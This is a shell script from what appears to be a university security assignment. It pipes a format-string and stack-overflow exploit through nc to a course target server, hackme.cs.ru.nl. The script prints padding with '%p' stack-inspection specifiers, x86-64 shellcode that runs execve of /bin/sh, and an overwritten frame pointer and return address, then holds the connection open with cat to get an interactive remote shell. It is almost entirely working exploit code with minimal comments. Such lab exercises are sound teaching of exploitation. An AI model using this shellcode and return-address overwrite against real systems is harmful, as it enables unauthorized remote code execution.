ass5b/mart/sws1-assignment5b-s4109503-s4202015/exercise2e.sh

   1 {       # Print padding and stack inspection
   2         printf "......%34s" | sed 's/ /%p/g'
   3         # Print shell code
   4         printf "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1"
   5         printf "\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
   6         # Overwrite frame pointer and top of stack pointer print return address
   7         printf "%16s\x50\xeb\xff\xff\xff\x7f\n"
   8         # Start reading from stdin and echoing it to stdout
   9         cat
  10 } | nc hackme.cs.ru.nl 2266